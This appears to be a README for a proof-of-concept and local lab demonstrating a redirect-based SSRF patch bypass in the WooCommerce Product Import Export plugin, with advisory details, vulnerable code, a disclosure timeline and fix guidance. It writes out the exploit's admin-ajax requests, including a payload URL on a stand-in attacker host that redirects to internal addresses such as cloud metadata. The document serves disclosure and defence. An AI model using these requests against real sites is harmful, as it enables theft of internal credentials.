
Proof-of-concept and lab for CVE-2026-118989, an authenticated SSRF via redirect bypass in WebToffee Product Import Export for WooCommerce, with Docker lab and fix guidance.
A patch bypass of CVE-2025-1912 in the WebToffee plugin Product Import Export for WooCommerce. A shop_manager can make the server fetch internal URLs through an HTTP redirect and read the response (non-blind SSRF).
| Plugin | Product Import Export for WooCommerce (product-import-export-for-woo) |
| Affected versions | >= 2.5.1, < 2.6.8 |
| Fixed in | 2.6.8 |
| Type | SSRF, CWE-918 (incomplete fix / patch bypass) |
| CVSS 4.0 | 5.1 (Medium), CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N |
| Required privilege | shop_manager or administrator |
| Related | CVE-2025-1912 (extension allowlist added in 2.5.1 is bypassed) |
| CVE record | CVE-2026-118989 |
| Advisory | VulnCheck advisory |
Disclaimer. This repository documents a vulnerability that is already fixed and published. It is for education and defense. Test only on your own local environment or on systems you have written permission to test.
The product import "from URL" feature downloads a user-supplied URL with wp_remote_get() and redirection => 5, with no private or link-local IP validation.
The CVE-2025-1912 fix added only is_extension_allowed(), which checks the submitted URL string. An attacker submits a URL ending in an allowed extension (for example http://attacker.example/x.csv) that answers 302 to an internal address. WordPress follows the redirect and the target is never re-validated. The internal response is saved as a temporary CSV and returned through the column-mapping step, so the SSRF is non-blind.
admin/modules/import/import.php (v2.6.7):
public function remote_get($target_url) {
$def_args = array(
'timeout' => 5,
'redirection' => 5, // follows redirects
'sslverify' => false,
);
return wp_remote_get($target_url, $def_args); // no private-IP / host validation
}
public function is_extension_allowed($file_url) {
$ext_arr = explode('.', $file_url);
$ext = strtolower(end($ext_arr));
return isset($this->allowed_import_file_type[$ext]); // checks the submitted URL only
}
The lab in docker/ runs WordPress, WooCommerce, plugin 2.6.7, a shop_manager user, an attacker-controlled redirect server and an internal-only mock metadata service with fake credentials. Setup steps are in docker/README.md. Then run:
cd poc && chmod +x poc_ssrf.sh && ./poc_ssrf.sh
The script refuses to run against anything except 127.0.0.1 or localhost. Do not point this at any real internal network or cloud account.
The manual steps the script performs:
shop_manager, open the import page and read the nonce from wt_iew_basic_params.nonces.main.POST /wp-admin/admin-ajax.php
action=iew_import_ajax_basic&import_action=validate_file&to_import=product&data_type=json
&_wpnonce=NONCE
&form_data[method_import_form_data]={"wt_iew_file_from":"url","wt_iew_url_file":"http://ATTACKER/evil.csv"}
POST /wp-admin/admin-ajax.php
action=iew_import_ajax_basic&import_action=get_steps&to_import=product&data_type=json
&_wpnonce=NONCE&temp_import_file=temp-product-<ts>.csv&steps=mapping&delimiter=,
| Submitted URL | Result |
|---|---|
http://INTERNAL/... (no allowed extension) | Blocked: "File type not allowed." |
http://INTERNAL/path/x.csv (direct) | Fetched (allowlist checks the suffix only) |
http://ATTACKER/evil.csv -> 302 -> http://INTERNAL/... | Fetched (redirect target never checked) |
A shop_manager role, often given to store staff without infrastructure access, can make the server send GET requests to internal or link-local addresses (for example cloud metadata at 169.254.169.254) and read the response. In the lab, a mock metadata service's credentials were returned to the attacker.
127.0.0.0/8, 169.254.0.0/16, ::1, fc00::/7) on every redirect hop.redirection => 0, or re-validate each Location header.reject_unsafe_urls => true in wp_remote_get() arguments..
├── README.md
├── LICENSE
├── docker/ # local lab: docker-compose, redirect server, mock metadata service
└── poc/ # lab-only reproduction script
| Date | Event |
|---|---|
| 2026-10-16 | Vulnerability discovered and confirmed in local lab |
| 2026-10-16 | CVE requested via VulnCheck (CNA) |
| 2026-10-16 | Vendor (WebToffee) notified |
| 2026-10-26 | Fixed in 2.6.8 |
| 2026-10-29 | CVE-2026-118989 published |